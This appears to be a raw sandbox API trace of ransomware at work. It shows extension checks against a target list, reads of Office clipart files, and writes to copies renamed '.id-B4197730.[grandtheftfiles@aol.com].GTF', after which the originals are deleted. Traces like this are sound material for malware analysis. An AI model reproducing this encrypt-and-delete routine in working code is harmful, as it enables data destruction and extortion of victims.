	[0169.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.225] lstrlenW (lpString=".zip") returned 4
	[0169.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.226] lstrlenW (lpString=".rar") returned 4
	[0169.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.226] lstrlenW (lpString=".bz2") returned 4
	[0169.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.226] lstrlenW (lpString=".7z") returned 3
	[0169.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.226] lstrlenW (lpString=".dbf") returned 4
	[0169.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.226] lstrlenW (lpString=".1cd") returned 4
	[0169.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.226] lstrlenW (lpString=".jpg") returned 4
	[0169.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.226] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.226] lstrlenW (lpString="J0107358.WMF") returned 12
	[0169.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.234] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=7964) returned 1
	[0169.234] CloseHandle (hObject=0x534) returned 1
	[0169.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220
	[0169.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0169.438] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.438] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0169.439] GetLastError () returned 0x0
	[0169.439] ReadFile (in: hFile=0x568, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1f1c, lpOverlapped=0x0) returned 1
	[0169.461] WriteFile (in: hFile=0x56c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1f20, lpOverlapped=0x0) returned 1
	[0169.462] ReadFile (in: hFile=0x568, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.462] WriteFile (in: hFile=0x56c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.462] SetEndOfFile (hFile=0x56c) returned 1
	[0169.463] CloseHandle (hObject=0x56c) returned 1
	[0169.463] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.463] SetEndOfFile (hFile=0x568) returned 1
	[0169.465] CloseHandle (hObject=0x568) returned 1
	[0169.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1
	[0169.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.467] lstrlenW (lpString=".doc") returned 4
	[0169.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.467] lstrlenW (lpString=".docx") returned 5
	[0169.467] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.467] lstrlenW (lpString=".pdf") returned 4
	[0169.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.467] lstrlenW (lpString=".xls") returned 4
	[0169.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.467] lstrlenW (lpString=".xlsx") returned 5
	[0169.467] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.467] lstrlenW (lpString=".ppt") returned 4
	[0169.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.467] lstrlenW (lpString=".zip") returned 4
	[0169.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.467] lstrlenW (lpString=".rar") returned 4
	[0169.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.467] lstrlenW (lpString=".bz2") returned 4
	[0169.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.467] lstrlenW (lpString=".7z") returned 3
	[0169.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.468] lstrlenW (lpString=".dbf") returned 4
	[0169.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.468] lstrlenW (lpString=".1cd") returned 4
	[0169.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.468] lstrlenW (lpString=".jpg") returned 4
	[0169.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.721] lstrlenW (lpString=".doc") returned 4
	[0169.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.721] lstrlenW (lpString=".docx") returned 5
	[0169.721] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.721] lstrlenW (lpString=".pdf") returned 4
	[0169.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.721] lstrlenW (lpString=".xls") returned 4
	[0169.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.721] lstrlenW (lpString=".xlsx") returned 5
	[0169.721] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.721] lstrlenW (lpString=".ppt") returned 4
	[0169.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.721] lstrlenW (lpString=".zip") returned 4
	[0169.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.721] lstrlenW (lpString=".rar") returned 4
	[0169.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.721] lstrlenW (lpString=".bz2") returned 4
	[0169.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.721] lstrlenW (lpString=".7z") returned 3
	[0169.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.722] lstrlenW (lpString=".dbf") returned 4
	[0169.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.722] lstrlenW (lpString=".1cd") returned 4
	[0169.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0169.722] lstrlenW (lpString=".jpg") returned 4
	[0169.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.722] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.722] lstrlenW (lpString="J0107480.WMF") returned 12
	[0169.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.095] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=6024) returned 1
	[0170.095] CloseHandle (hObject=0x550) returned 1
	[0170.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220
	[0170.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.096] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.096] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0170.114] GetLastError () returned 0x0
	[0170.114] ReadFile (in: hFile=0x550, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1788, lpOverlapped=0x0) returned 1
	[0170.142] WriteFile (in: hFile=0x564, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1790, lpOverlapped=0x0) returned 1
	[0170.143] ReadFile (in: hFile=0x550, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.143] WriteFile (in: hFile=0x564, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.143] SetEndOfFile (hFile=0x564) returned 1
	[0170.143] CloseHandle (hObject=0x564) returned 1
	[0170.143] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.143] SetEndOfFile (hFile=0x550) returned 1
	[0170.146] CloseHandle (hObject=0x550) returned 1
	[0170.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1
	[0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.453] lstrlenW (lpString=".doc") returned 4
	[0170.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.453] lstrlenW (lpString=".docx") returned 5
	[0170.453] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.454] lstrlenW (lpString=".pdf") returned 4
	[0170.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.454] lstrlenW (lpString=".xls") returned 4
	[0170.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.454] lstrlenW (lpString=".xlsx") returned 5
	[0170.454] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.454] lstrlenW (lpString=".ppt") returned 4
	[0170.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.454] lstrlenW (lpString=".zip") returned 4
	[0170.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.454] lstrlenW (lpString=".rar") returned 4
	[0170.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.454] lstrlenW (lpString=".bz2") returned 4
	[0170.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.454] lstrlenW (lpString=".7z") returned 3
	[0170.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.454] lstrlenW (lpString=".dbf") returned 4
	[0170.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.454] lstrlenW (lpString=".1cd") returned 4
	[0170.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.454] lstrlenW (lpString=".jpg") returned 4
	[0170.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.454] lstrlenW (lpString=".doc") returned 4
	[0170.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.454] lstrlenW (lpString=".docx") returned 5
	[0170.454] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.454] lstrlenW (lpString=".pdf") returned 4
	[0170.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.454] lstrlenW (lpString=".xls") returned 4
	[0170.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.455] lstrlenW (lpString=".xlsx") returned 5
	[0170.455] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.455] lstrlenW (lpString=".ppt") returned 4
	[0170.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.455] lstrlenW (lpString=".zip") returned 4
	[0170.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.455] lstrlenW (lpString=".rar") returned 4
	[0170.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.455] lstrlenW (lpString=".bz2") returned 4
	[0170.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.455] lstrlenW (lpString=".7z") returned 3
	[0170.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.455] lstrlenW (lpString=".dbf") returned 4
	[0170.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.455] lstrlenW (lpString=".1cd") returned 4
	[0170.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0170.455] lstrlenW (lpString=".jpg") returned 4
	[0170.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.455] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.455] lstrlenW (lpString="J0107488.WMF") returned 12
	[0170.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.456] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=8000) returned 1
	[0170.456] CloseHandle (hObject=0x534) returned 1
	[0170.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 0x220
	[0170.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.456] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.457] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0170.457] GetLastError () returned 0x0
	[0170.457] ReadFile (in: hFile=0x534, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1f40, lpOverlapped=0x0) returned 1
	[0170.589] WriteFile (in: hFile=0x428, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1f50, lpOverlapped=0x0) returned 1
	[0170.590] ReadFile (in: hFile=0x534, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.590] WriteFile (in: hFile=0x428, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.591] SetEndOfFile (hFile=0x428) returned 1
	[0170.591] CloseHandle (hObject=0x428) returned 1
	[0170.591] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.591] SetEndOfFile (hFile=0x534) returned 1
	[0170.593] CloseHandle (hObject=0x534) returned 1
	[0170.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1
	[0170.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.594] lstrlenW (lpString=".doc") returned 4
	[0170.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.594] lstrlenW (lpString=".docx") returned 5
	[0170.594] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.595] lstrlenW (lpString=".pdf") returned 4
	[0170.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.595] lstrlenW (lpString=".xls") returned 4
	[0170.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.595] lstrlenW (lpString=".xlsx") returned 5
	[0170.595] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.595] lstrlenW (lpString=".ppt") returned 4
	[0170.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.595] lstrlenW (lpString=".zip") returned 4
	[0170.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.595] lstrlenW (lpString=".rar") returned 4
	[0170.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.595] lstrlenW (lpString=".bz2") returned 4
	[0170.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.595] lstrlenW (lpString=".7z") returned 3
	[0170.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.595] lstrlenW (lpString=".dbf") returned 4
	[0170.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.595] lstrlenW (lpString=".1cd") returned 4
	[0170.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.595] lstrlenW (lpString=".jpg") returned 4
	[0170.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.595] lstrlenW (lpString=".doc") returned 4
	[0170.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.595] lstrlenW (lpString=".docx") returned 5
	[0170.595] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.595] lstrlenW (lpString=".pdf") returned 4
	[0170.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.595] lstrlenW (lpString=".xls") returned 4
	[0170.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.595] lstrlenW (lpString=".xlsx") returned 5
	[0170.596] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.596] lstrlenW (lpString=".ppt") returned 4
	[0170.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
